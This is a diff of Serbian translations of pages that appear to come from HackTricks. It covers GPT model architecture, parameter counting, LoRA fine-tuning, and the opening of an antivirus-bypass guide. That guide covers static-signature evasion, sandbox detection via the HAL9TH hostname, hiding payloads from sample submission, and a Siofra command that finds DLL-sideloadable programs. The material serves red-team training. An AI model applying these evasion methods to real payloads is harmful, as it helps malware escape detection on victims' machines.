* **Dropout (`drop_shortcut`):** Primeni dropout za regularizaciju.
|
* **Dropout (`drop_shortcut`):** Primeni dropout za regularizaciju.
|
||||||
* **Dodaj Rezidual (`x + shortcut`):** Kombinuj sa originalnim ulazom.
|
* **Dodaj Rezidual (`x + shortcut`):** Kombinuj sa originalnim ulazom.
|
||||||
2. **Drugi Rezidualni Put (FeedForward):**
|
2. **Drugi Rezidualni Put (FeedForward):**
|
||||||
* **Ulaz (`shortcut`):** Sačuvaj ažurirani ulaz za sledeću rezidualnu vezu.
|
* **Ulaz (`shortcut`):** Sačuvaj ažurirani ulaz za sledeću rezidualnu vezu.
|
||||||
* **Normalizacija Sloja (`norm2`):** Normalizuj ulaz.
|
* **Layer Norm (`norm2`):** Normalizuj ulaz.
|
||||||
* **FeedForward Mreža (`ff`):** Primeni feedforward transformaciju.
|
* **FeedForward Mreža (`ff`):** Primeni feedforward transformaciju.
|
||||||
* **Dropout (`drop_shortcut`):** Primeni dropout.
|
* **Dropout (`drop_shortcut`):** Primeni dropout.
|
||||||
* **Dodaj Rezidual (`x + shortcut`):** Kombinuj sa ulazom iz prvog rezidualnog puta.
|
* **Dodaj Rezidual (`x + shortcut`):** Kombinuj sa ulazom iz prvog rezidualnog puta.
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
Transformer blok grupiše sve mreže zajedno i primenjuje neku **normalizaciju** i **dropout** kako bi poboljšao stabilnost i rezultate treniranja.\
|
Transformator blok grupiše sve mreže zajedno i primenjuje neku **normalizaciju** i **dropout** kako bi poboljšao stabilnost i rezultate treniranja.\
|
||||||
Obratite pažnju kako se dropout primenjuje nakon korišćenja svake mreže dok se normalizacija primenjuje pre.
|
Obratite pažnju na to kako se dropout primenjuje nakon korišćenja svake mreže dok se normalizacija primenjuje pre.
|
||||||
|
|
||||||
Pored toga, koristi i prečice koje se sastoje od **dodavanja izlaza mreže sa njenim ulazom**. Ovo pomaže u sprečavanju problema nestajućeg gradijenta tako što osigurava da inicijalni slojevi doprinose "onoliko" koliko i poslednji.
|
Pored toga, koristi i prečice koje se sastoje od **dodavanja izlaza mreže sa njenim ulazom**. Ovo pomaže u sprečavanju problema nestajućeg gradijenta tako što osigurava da inicijalni slojevi doprinose "onoliko" koliko i poslednji.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### **GPTModel**
|
### **GPTModel**
|
||||||
|
|
||||||
_Oblici su dodati kao komentari kako bi se bolje razumele forme matrica:_
|
_Oblici su dodati kao komentari kako bi se bolje razumele dimenzije matrica:_
|
||||||
```python
|
```python
|
||||||
# From https://github.com/rasbt/LLMs-from-scratch/tree/main/ch04
|
# From https://github.com/rasbt/LLMs-from-scratch/tree/main/ch04
|
||||||
class GPTModel(nn.Module):
|
class GPTModel(nn.Module):
|
||||||
|
@ -439,23 +441,23 @@ return logits # Output shape: (batch_size, seq_len, vocab_size)
|
||||||
```
|
```
|
||||||
#### **Svrha i Funkcionalnost**
|
#### **Svrha i Funkcionalnost**
|
||||||
|
|
||||||
* **Ugrađeni slojevi:**
|
* **Ugradne Slojeve:**
|
||||||
* **Token Ugrađivanja (`tok_emb`):** Pretvara indekse tokena u ugrađivanja. Kao podsetnik, ovo su težine date svakoj dimenziji svakog tokena u rečniku.
|
* **Token Ugradnje (`tok_emb`):** Konvertuje indekse tokena u ugradnje. Kao podsetnik, ovo su težine date svakoj dimenziji svakog tokena u rečniku.
|
||||||
* **Pozicijska Ugrađivanja (`pos_emb`):** Dodaje pozicijske informacije u ugrađivanja kako bi se uhvatio redosled tokena. Kao podsetnik, ovo su težine date tokenu prema njegovoj poziciji u tekstu.
|
* **Pozicijske Ugradnje (`pos_emb`):** Dodaje pozicione informacije u ugradnje kako bi uhvatio redosled tokena. Kao podsetnik, ovo su težine date tokenu prema njegovoj poziciji u tekstu.
|
||||||
* **Dropout (`drop_emb`):** Primena na ugrađivanja za regularizaciju.
|
* **Dropout (`drop_emb`):** Primena na ugradnje za regularizaciju.
|
||||||
* **Transformer Blokovi (`trf_blocks`):** Stek od `n_layers` transformer blokova za obradu ugrađivanja.
|
* **Transformer Blokovi (`trf_blocks`):** Stek od `n_layers` transformer blokova za obradu ugradnji.
|
||||||
* **Finalna Normalizacija (`final_norm`):** Normalizacija sloja pre izlaznog sloja.
|
* **Finalna Normalizacija (`final_norm`):** Normalizacija sloja pre izlaznog sloja.
|
||||||
* **Izlazni Sloj (`out_head`):** Projektuje konačne skrivene stanja na veličinu rečnika kako bi proizveo logite za predikciju.
|
* **Izlazni Sloj (`out_head`):** Projektuje konačne skrivene state-ove na veličinu rečnika kako bi proizveo logite za predikciju.
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
Cilj ove klase je da koristi sve ostale pomenute mreže da **predvidi sledeći token u sekvenci**, što je fundamentalno za zadatke poput generisanja teksta.
|
Cilj ove klase je da koristi sve ostale pomenute mreže da **predvidi sledeći token u sekvenci**, što je fundamentalno za zadatke poput generisanja teksta.
|
||||||
|
|
||||||
Obratite pažnju na to kako će **koristiti onoliko transformer blokova koliko je naznačeno** i da svaki transformer blok koristi jednu mrežu sa više glava, jednu mrežu za unapred i nekoliko normalizacija. Dakle, ako se koristi 12 transformer blokova, pomnožite ovo sa 12.
|
Obratite pažnju kako će **koristiti onoliko transformer blokova koliko je naznačeno** i da svaki transformer blok koristi jednu mrežu sa više glava, jednu mrežu za napredovanje i nekoliko normalizacija. Dakle, ako se koristi 12 transformer blokova, pomnožite ovo sa 12.
|
||||||
|
|
||||||
Štaviše, **normalizacija** sloj se dodaje **pre** **izlaza** i konačni linearni sloj se primenjuje na kraju kako bi se dobili rezultati sa odgovarajućim dimenzijama. Obratite pažnju na to kako svaki konačni vektor ima veličinu korišćenog rečnika. To je zato što pokušava da dobije verovatnoću po mogućem tokenu unutar rečnika.
|
Štaviše, **normalizacija** sloj se dodaje **pre** **izlaza** i konačni linearni sloj se primenjuje na kraju kako bi se dobili rezultati sa odgovarajućim dimenzijama. Obratite pažnju kako svaki konačni vektor ima veličinu korišćenog rečnika. To je zato što pokušava da dobije verovatnoću po mogućem tokenu unutar rečnika.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
## Broj parametara za obuku
|
## Broj Parametara za obuku
|
||||||
|
|
||||||
Imajući definisanu GPT strukturu, moguće je saznati broj parametara za obuku:
|
Imajući definisanu GPT strukturu, moguće je saznati broj parametara za obuku:
|
||||||
```python
|
```python
|
||||||
|
@ -474,9 +476,9 @@ total_params = sum(p.numel() for p in model.parameters())
|
||||||
print(f"Total number of parameters: {total_params:,}")
|
print(f"Total number of parameters: {total_params:,}")
|
||||||
# Total number of parameters: 163,009,536
|
# Total number of parameters: 163,009,536
|
||||||
```
|
```
|
||||||
### **Korak-po-korak Proračun**
|
### **Postupak Izračunavanja**
|
||||||
|
|
||||||
#### **1. Ugradne Slojeve: Ugradnja Tokena & Ugradnja Pozicije**
|
#### **1. Ugradne Slojeve: Ugradnja Tokena i Ugradnja Pozicije**
|
||||||
|
|
||||||
* **Sloj:** `nn.Embedding(vocab_size, emb_dim)`
|
* **Sloj:** `nn.Embedding(vocab_size, emb_dim)`
|
||||||
* **Parametri:** `vocab_size * emb_dim`
|
* **Parametri:** `vocab_size * emb_dim`
|
||||||
|
@ -495,7 +497,7 @@ embedding_params = 38,597,376 + 786,432 = 39,383,808
|
||||||
```
|
```
|
||||||
#### **2. Transformer Blokovi**
|
#### **2. Transformer Blokovi**
|
||||||
|
|
||||||
Ima 12 transformer blokova, pa ćemo izračunati parametre za jedan blok, a zatim pomnožiti sa 12.
|
Postoji 12 transformer blokova, pa ćemo izračunati parametre za jedan blok, a zatim pomnožiti sa 12.
|
||||||
|
|
||||||
**Parametri po Transformer Bloku**
|
**Parametri po Transformer Bloku**
|
||||||
|
|
||||||
|
@ -576,11 +578,11 @@ params_per_block = 2,360,064 + 4,722,432 + 3,072 = 7,085,568
|
||||||
pythonCopy codetotal_transformer_blocks_params = params_per_block * n_layers
|
pythonCopy codetotal_transformer_blocks_params = params_per_block * n_layers
|
||||||
total_transformer_blocks_params = 7,085,568 * 12 = 85,026,816
|
total_transformer_blocks_params = 7,085,568 * 12 = 85,026,816
|
||||||
```
|
```
|
||||||
#### **3. Final Layers**
|
#### **3. Završni slojevi**
|
||||||
|
|
||||||
**a. Final Layer Normalization**
|
**a. Normalizacija završnog sloja**
|
||||||
|
|
||||||
* **Parameters:** `2 * emb_dim` (skala i pomeraj)
|
* **Parametri:** `2 * emb_dim` (skala i pomeraj)
|
||||||
```python
|
```python
|
||||||
pythonCopy codefinal_layer_norm_params = 2 * 768 = 1,536
|
pythonCopy codefinal_layer_norm_params = 2 * 768 = 1,536
|
||||||
```
|
```
|
||||||
|
@ -607,7 +609,7 @@ total_params = (
|
||||||
)
|
)
|
||||||
total_params = 163,009,536
|
total_params = 163,009,536
|
||||||
```
|
```
|
||||||
## Generiši tekst
|
## Generate Text
|
||||||
|
|
||||||
Imajući model koji predviđa sledeći token kao prethodni, potrebno je uzeti poslednje vrednosti tokena iz izlaza (jer će to biti vrednosti predviđenog tokena), što će biti **vrednost po unosu u rečniku** i zatim koristiti `softmax` funkciju da normalizuje dimenzije u verovatnoće koje se sabiraju na 1 i zatim dobiti indeks najvećeg unosa, koji će biti indeks reči unutar rečnika.
|
Imajući model koji predviđa sledeći token kao prethodni, potrebno je uzeti poslednje vrednosti tokena iz izlaza (jer će to biti vrednosti predviđenog tokena), što će biti **vrednost po unosu u rečniku** i zatim koristiti `softmax` funkciju da normalizuje dimenzije u verovatnoće koje se sabiraju na 1 i zatim dobiti indeks najvećeg unosa, koji će biti indeks reči unutar rečnika.
|
||||||
|
|
||||||
|
@ -662,6 +664,6 @@ context_size=GPT_CONFIG_124M["context_length"]
|
||||||
print("Output:", out)
|
print("Output:", out)
|
||||||
print("Output length:", len(out[0]))
|
print("Output length:", len(out[0]))
|
||||||
```
|
```
|
||||||
## References
|
## Reference
|
||||||
|
|
||||||
* [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
|
* [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
|
||||||
|
|
|
@ -3,19 +3,19 @@
|
||||||
## LoRA poboljšanja
|
## LoRA poboljšanja
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Korišćenje **LoRA značajno smanjuje računarske** resurse potrebne za **fino podešavanje** već obučenih modela.
|
Korišćenje **LoRA značajno smanjuje računarske resurse** potrebne za **fino podešavanje** već obučenih modela.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
LoRA omogućava efikasno fino podešavanje **velikih modela** menjajući samo **mali deo** modela. Smanjuje broj parametara koje treba obučiti, čime se štedi **memorija** i **računarski resursi**. To je zato što:
|
LoRA omogućava efikasno fino podešavanje **velikih modela** tako što menja samo **mali deo** modela. Smanjuje broj parametara koje treba obučiti, štedeći **memoriju** i **računarske resurse**. To je zato što:
|
||||||
|
|
||||||
1. **Smanjuje broj parametara koji se mogu obučavati**: Umesto da ažurira celu težinsku matricu u modelu, LoRA **delí** težinsku matricu na dve manje matrice (nazvane **A** i **B**). To čini obuku **bržom** i zahteva **manje memorije** jer je potrebno ažurirati manje parametara.
|
1. **Smanjuje broj obučivih parametara**: Umesto da ažurira celu težinsku matricu u modelu, LoRA **delimi** težinsku matricu na dve manje matrice (nazvane **A** i **B**). To čini obuku **bržom** i zahteva **manje memorije** jer je potrebno ažurirati manje parametara.
|
||||||
1. To je zato što umesto da izračunava potpuno ažuriranje težine sloja (matrice), aproksimira ga kao proizvod 2 manje matrice, smanjujući ažuriranje za izračun:\
|
1. To je zato što umesto da izračunava potpuno ažuriranje težine sloja (matrice), aproksimira ga kao proizvod 2 manje matrice, smanjujući ažuriranje za izračun:\
|
||||||
|
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (9).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (9) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
2. **Održava originalne težine modela nepromenjenim**: LoRA vam omogućava da zadržite originalne težine modela iste, i samo ažurira **nove male matrice** (A i B). To je korisno jer znači da se originalno znanje modela čuva, a vi samo prilagođavate ono što je neophodno.
|
2. **Održava originalne težine modela nepromenjenim**: LoRA vam omogućava da zadržite originalne težine modela iste, i samo ažurira **nove male matrice** (A i B). To je korisno jer znači da je originalno znanje modela sačuvano, a vi samo prilagođavate ono što je neophodno.
|
||||||
3. **Efikasno fino podešavanje specifično za zadatak**: Kada želite da prilagodite model za **novi zadatak**, možete samo obučiti **male LoRA matrice** (A i B) dok ostavljate ostatak modela nepromenjenim. Ovo je **mnogo efikasnije** od ponovne obuke celog modela.
|
3. **Efikasno fino podešavanje specifično za zadatak**: Kada želite da prilagodite model za **novi zadatak**, možete samo obučiti **male LoRA matrice** (A i B) dok ostavljate ostatak modela nepromenjenim. Ovo je **mnogo efikasnije** od ponovnog obučavanja celog modela.
|
||||||
4. **Efikasnost skladištenja**: Nakon finog podešavanja, umesto da čuvate **novi model** za svaki zadatak, potrebno je da sačuvate samo **LoRA matrice**, koje su veoma male u poređenju sa celim modelom. Ovo olakšava prilagođavanje modela mnogim zadacima bez prekomernog korišćenja skladišta.
|
4. **Efikasnost skladištenja**: Nakon finog podešavanja, umesto da sačuvate **novi model** za svaki zadatak, potrebno je da sačuvate samo **LoRA matrice**, koje su veoma male u poređenju sa celim modelom. To olakšava prilagođavanje modela mnogim zadacima bez prekomernog korišćenja skladišta.
|
||||||
|
|
||||||
Da biste implementirali LoraLayers umesto Linear slojeva tokom finog podešavanja, ovde je predložen ovaj kod [https://github.com/rasbt/LLMs-from-scratch/blob/main/appendix-E/01\_main-chapter-code/appendix-E.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/appendix-E/01\_main-chapter-code/appendix-E.ipynb):
|
Da biste implementirali LoraLayers umesto Linear slojeva tokom finog podešavanja, ovde je predložen ovaj kod [https://github.com/rasbt/LLMs-from-scratch/blob/main/appendix-E/01\_main-chapter-code/appendix-E.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/appendix-E/01\_main-chapter-code/appendix-E.ipynb):
|
||||||
```python
|
```python
|
||||||
|
|
|
@ -1,12 +1,12 @@
|
||||||
# Antivirus (AV) Bypass
|
# Antivirus (AV) Bypass
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Učite i vežbajte AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Učite i vežbajte GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Podržite HackTricks</summary>
|
<summary>Podrška HackTricks</summary>
|
||||||
|
|
||||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
@ -15,29 +15,29 @@ Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Ako ste zainteresovani za **hakersku karijeru** i hakovanje nehakovanog - **zapošljavamo!** (_potrebno je tečno pisanje i govorenje poljskog_).
|
Ako ste zainteresovani za **karijeru u hakovanju** i hakovanje nehakovanog - **zapošljavamo!** (_potrebno je tečno pisanje i govorenje poljskog_).
|
||||||
|
|
||||||
{% embed url="https://www.stmcyber.com/careers" %}
|
{% embed url="https://www.stmcyber.com/careers" %}
|
||||||
|
|
||||||
**Ovu stranicu je napisao** [**@m2rc\_p**](https://twitter.com/m2rc\_p)**!**
|
**Ovu stranicu je napisao** [**@m2rc\_p**](https://twitter.com/m2rc\_p)**!**
|
||||||
|
|
||||||
## **AV Evasion Methodology**
|
## **AV Metodologija Izbegavanja**
|
||||||
|
|
||||||
Trenutno, AV koristi različite metode za proveru da li je datoteka maliciozna ili ne, statičku detekciju, dinamičku analizu, i za naprednije EDR-ove, analizu ponašanja.
|
Trenutno, AV koriste različite metode za proveru da li je datoteka maliciozna ili ne, statičku detekciju, dinamičku analizu, i za naprednije EDR-ove, analizu ponašanja.
|
||||||
|
|
||||||
### **Statička detekcija**
|
### **Statička detekcija**
|
||||||
|
|
||||||
Statička detekcija se postiže označavanjem poznatih malicioznih stringova ili nizova bajtova u binarnom ili skriptnom fajlu, kao i ekstrakcijom informacija iz same datoteke (npr. opis datoteke, ime kompanije, digitalni potpisi, ikona, kontrolna suma, itd.). To znači da korišćenje poznatih javnih alata može lakše dovesti do otkrivanja, jer su verovatno analizirani i označeni kao maliciozni. Postoji nekoliko načina da se zaobiđe ova vrsta detekcije:
|
Statička detekcija se postiže označavanjem poznatih malicioznih stringova ili nizova bajtova u binarnom fajlu ili skripti, kao i ekstrakcijom informacija iz same datoteke (npr. opis datoteke, ime kompanije, digitalni potpisi, ikona, kontrolna suma, itd.). To znači da korišćenje poznatih javnih alata može lakše dovesti do otkrivanja, jer su verovatno analizirani i označeni kao maliciozni. Postoji nekoliko načina da se zaobiđe ovakva vrsta detekcije:
|
||||||
|
|
||||||
* **Enkripcija**
|
* **Enkripcija**
|
||||||
|
|
||||||
Ako enkriptujete binarni fajl, neće biti načina za AV da detektuje vaš program, ali će vam biti potreban neki loader za dekripciju i pokretanje programa u memoriji.
|
Ako enkriptujete binarni fajl, neće biti načina za AV da detektuje vaš program, ali će vam biti potreban neki loader da dekriptuje i pokrene program u memoriji.
|
||||||
|
|
||||||
* **Obfuskacija**
|
* **Obfuskacija**
|
||||||
|
|
||||||
Ponekad je sve što treba da uradite da promenite neke stringove u vašem binarnom ili skriptnom fajlu da biste ga prošli AV, ali ovo može biti dugotrajan zadatak u zavisnosti od onoga što pokušavate da obfuskate.
|
Ponekad je sve što treba da uradite da promenite neke stringove u vašem binarnom fajlu ili skripti da biste prošli pored AV, ali ovo može biti dugotrajan zadatak u zavisnosti od onoga što pokušavate da obfuskate.
|
||||||
|
|
||||||
* **Prilagođeni alati**
|
* **Prilagođeni alati**
|
||||||
|
|
||||||
|
@ -47,17 +47,17 @@ Ako razvijate svoje alate, neće biti poznatih loših potpisa, ali ovo zahteva m
|
||||||
Dobar način za proveru protiv Windows Defender statičke detekcije je [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck). U suštini deli datoteku na više segmenata i zatim traži od Defendera da skenira svaki pojedinačno, na ovaj način, može vam reći tačno koji su označeni stringovi ili bajtovi u vašem binarnom fajlu.
|
Dobar način za proveru protiv Windows Defender statičke detekcije je [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck). U suštini deli datoteku na više segmenata i zatim traži od Defendera da skenira svaki pojedinačno, na ovaj način, može vam reći tačno koji su označeni stringovi ili bajtovi u vašem binarnom fajlu.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
Toplo preporučujem da pogledate ovu [YouTube plejlistu](https://www.youtube.com/playlist?list=PLj05gPj8rk\_pkb12mDe4PgYZ5qPxhGKGf) o praktičnoj AV Evasiji.
|
Toplo preporučujem da pogledate ovu [YouTube plejlistu](https://www.youtube.com/playlist?list=PLj05gPj8rk\_pkb12mDe4PgYZ5qPxhGKGf) o praktičnom AV izbegavanju.
|
||||||
|
|
||||||
### **Dinamička analiza**
|
### **Dinamička analiza**
|
||||||
|
|
||||||
Dinamička analiza je kada AV pokreće vaš binarni fajl u sandbox-u i prati malicioznu aktivnost (npr. pokušaj dekripcije i čitanja lozinki iz vašeg pretraživača, izvođenje minidump-a na LSASS, itd.). Ovaj deo može biti malo teži za rad, ali evo nekoliko stvari koje možete učiniti da izbegnete sandbox-e.
|
Dinamička analiza je kada AV pokreće vaš binarni fajl u sandbox-u i prati malicioznu aktivnost (npr. pokušaj dekripcije i čitanja lozinki iz vašeg pretraživača, izvođenje minidump-a na LSASS-u, itd.). Ovaj deo može biti malo teži za rad, ali evo nekoliko stvari koje možete učiniti da izbegnete sandbox-e.
|
||||||
|
|
||||||
* **Spavanje pre izvršenja** U zavisnosti od toga kako je implementirano, može biti odličan način za zaobilaženje dinamičke analize AV-a. AV-ima je dat vrlo kratak vremenski period za skeniranje datoteka kako ne bi ometali rad korisnika, tako da korišćenje dugih spavanja može ometati analizu binarnih fajlova. Problem je u tome što mnogi AV-ovi sandbox-i mogu jednostavno preskočiti spavanje u zavisnosti od toga kako je implementirano.
|
* **Spavanje pre izvršenja** U zavisnosti od toga kako je implementirano, može biti odličan način za zaobilaženje dinamičke analize AV-a. AV-ima je dat vrlo kratak vremenski period za skeniranje datoteka kako ne bi ometali rad korisnika, tako da korišćenje dugih perioda spavanja može ometati analizu binarnih fajlova. Problem je u tome što mnogi AV-ovi sandbox-i mogu jednostavno preskočiti spavanje u zavisnosti od toga kako je implementirano.
|
||||||
* **Proveravanje resursa mašine** Obično sandbox-i imaju vrlo malo resursa za rad (npr. < 2GB RAM), inače bi mogli usporiti korisničku mašinu. Takođe možete biti veoma kreativni ovde, na primer, proveravajući temperaturu CPU-a ili čak brzine ventilatora, ne sve će biti implementirano u sandbox-u.
|
* **Proveravanje resursa mašine** Obično sandbox-i imaju vrlo malo resursa za rad (npr. < 2GB RAM), inače bi mogli usporiti korisničku mašinu. Takođe možete biti veoma kreativni ovde, na primer, proveravajući temperaturu CPU-a ili čak brzine ventilatora, ne mora sve biti implementirano u sandbox-u.
|
||||||
* **Provere specifične za mašinu** Ako želite da ciljate korisnika čija je radna stanica pridružena "contoso.local" domenu, možete izvršiti proveru na domen mašine da vidite da li se poklapa sa onim što ste naveli, ako se ne poklapa, možete naterati svoj program da izađe.
|
* **Provere specifične za mašinu** Ako želite da ciljate korisnika čija je radna stanica pridružena "contoso.local" domenu, možete izvršiti proveru na domen mašine da vidite da li se poklapa sa onim što ste naveli, ako se ne poklapa, možete naterati svoj program da se zatvori.
|
||||||
|
|
||||||
Ispostavlja se da je ime računara Microsoft Defender-ovog Sandbox-a HAL9TH, tako da možete proveriti ime računara u vašem malveru pre detonacije, ako se ime poklapa sa HAL9TH, to znači da ste unutar Defender-ovog sandbox-a, tako da možete naterati svoj program da izađe.
|
Ispostavlja se da je ime računara Microsoft Defender-ovog sandbox-a HAL9TH, tako da možete proveriti ime računara u vašem malveru pre detonacije, ako se ime poklapa sa HAL9TH, to znači da ste unutar Defender-ovog sandbox-a, tako da možete naterati svoj program da se zatvori.
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (209).png" alt=""><figcaption><p>izvor: <a href="https://youtu.be/StSLxFbVz0M?t=1439">https://youtu.be/StSLxFbVz0M?t=1439</a></p></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (209).png" alt=""><figcaption><p>izvor: <a href="https://youtu.be/StSLxFbVz0M?t=1439">https://youtu.be/StSLxFbVz0M?t=1439</a></p></figcaption></figure>
|
||||||
|
|
||||||
|
@ -67,17 +67,17 @@ Neki drugi zaista dobri saveti od [@mgeeky](https://twitter.com/mariuszbit) za b
|
||||||
|
|
||||||
Kao što smo rekli ranije u ovom postu, **javni alati** će na kraju **biti otkriveni**, tako da biste trebali postaviti sebi pitanje:
|
Kao što smo rekli ranije u ovom postu, **javni alati** će na kraju **biti otkriveni**, tako da biste trebali postaviti sebi pitanje:
|
||||||
|
|
||||||
Na primer, ako želite da dump-ujete LSASS, **da li zaista morate koristiti mimikatz**? Ili biste mogli koristiti neki drugi projekat koji je manje poznat i takođe dump-uje LSASS.
|
Na primer, ako želite da dump-ujete LSASS, **da li vam zaista treba da koristite mimikatz**? Ili biste mogli koristiti neki drugi projekat koji je manje poznat i takođe dump-uje LSASS.
|
||||||
|
|
||||||
Pravi odgovor je verovatno potonji. Uzimajući mimikatz kao primer, verovatno je jedan od, ako ne i najviše označenih malvera od strane AV-a i EDR-a, dok je projekat sam po sebi super cool, takođe je noćna mora raditi s njim da biste zaobišli AV, tako da jednostavno potražite alternative za ono što pokušavate da postignete.
|
Pravi odgovor je verovatno potonji. Uzimajući mimikatz kao primer, verovatno je jedan od, ako ne i najviše označenih malver-a od strane AV-a i EDR-a, dok je projekat sam po sebi super cool, takođe je noćna mora raditi s njim da biste zaobišli AV, tako da jednostavno potražite alternative za ono što pokušavate da postignete.
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
Kada modifikujete svoje payload-e za evaziju, obavezno **isključite automatsko slanje uzoraka** u defender-u, i molim vas, ozbiljno, **NE ULAŽITE NA VIRUSTOTAL** ako je vaš cilj postizanje evazije na duži rok. Ako želite da proverite da li vaš payload biva otkriven od strane određenog AV-a, instalirajte ga na VM, pokušajte da isključite automatsko slanje uzoraka, i testirajte ga tamo dok ne budete zadovoljni rezultatom.
|
Kada modifikujete svoje payload-e za izbegavanje, obavezno **isključite automatsko slanje uzoraka** u defender-u, i molim vas, ozbiljno, **NE ULAŽITE NA VIRUSTOTAL** ako je vaš cilj postizanje izbegavanja na duge staze. Ako želite da proverite da li vaš payload biva otkriven od strane određenog AV-a, instalirajte ga na VM, pokušajte da isključite automatsko slanje uzoraka, i testirajte ga tamo dok ne budete zadovoljni rezultatom.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
## EXEs vs DLLs
|
## EXE vs DLL
|
||||||
|
|
||||||
Kad god je to moguće, uvek **prioritizujte korišćenje DLL-ova za evaziju**, prema mom iskustvu, DLL datoteke su obično **mnogo manje otkrivene** i analizirane, tako da je to veoma jednostavan trik za korišćenje kako biste izbegli detekciju u nekim slučajevima (ako vaš payload ima neki način da se pokrene kao DLL, naravno).
|
Kada god je to moguće, uvek **prioritizujte korišćenje DLL-ova za izbegavanje**, prema mom iskustvu, DLL datoteke su obično **mnogo manje otkrivene** i analizirane, tako da je to veoma jednostavan trik za korišćenje kako biste izbegli otkrivanje u nekim slučajevima (ako vaš payload ima neki način da se pokrene kao DLL, naravno).
|
||||||
|
|
||||||
Kao što možemo videti na ovoj slici, DLL payload iz Havoc-a ima stopu detekcije od 4/26 na antiscan.me, dok EXE payload ima stopu detekcije od 7/26.
|
Kao što možemo videti na ovoj slici, DLL payload iz Havoc-a ima stopu detekcije od 4/26 na antiscan.me, dok EXE payload ima stopu detekcije od 7/26.
|
||||||
|
|
||||||
|
@ -87,7 +87,7 @@ Sada ćemo pokazati neke trikove koje možete koristiti sa DLL datotekama da bis
|
||||||
|
|
||||||
## DLL Sideloading & Proxying
|
## DLL Sideloading & Proxying
|
||||||
|
|
||||||
**DLL Sideloading** koristi prednost reda pretrage DLL-a koji koristi loader tako što postavlja i aplikaciju žrtve i maliciozni payload zajedno.
|
**DLL Sideloading** koristi prednost reda pretrage DLL-ova koji koristi loader tako što postavlja i aplikaciju žrtve i maliciozni payload pored jedan drugog.
|
||||||
|
|
||||||
Možete proveriti programe podložne DLL Sideloading-u koristeći [Siofra](https://github.com/Cybereason/siofra) i sledeći powershell skript:
|
Možete proveriti programe podložne DLL Sideloading-u koristeći [Siofra](https://github.com/Cybereason/siofra) i sledeći powershell skript:
|
||||||
|
|
||||||
|
@ -100,7 +100,7 @@ C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hija
|
||||||
```
|
```
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
Ova komanda će prikazati listu programa podložnih DLL hijackingu unutar "C:\Program Files\\" i DLL datoteka koje pokušavaju da učitaju.
|
Ova komanda će prikazati listu programa podložnih DLL hijacking-u unutar "C:\Program Files\\" i DLL fajlova koje pokušavaju da učitaju.
|
||||||
|
|
||||||
Toplo preporučujem da **istražite DLL hijackable/sideloadable programe sami**, ova tehnika je prilično suptilna kada se pravilno izvede, ali ako koristite javno poznate DLL sideloadable programe, lako možete biti uhvaćeni.
|
Toplo preporučujem da **istražite DLL hijackable/sideloadable programe sami**, ova tehnika je prilično suptilna kada se pravilno izvede, ali ako koristite javno poznate DLL sideloadable programe, lako možete biti uhvaćeni.
|
||||||
|
|
||||||
|
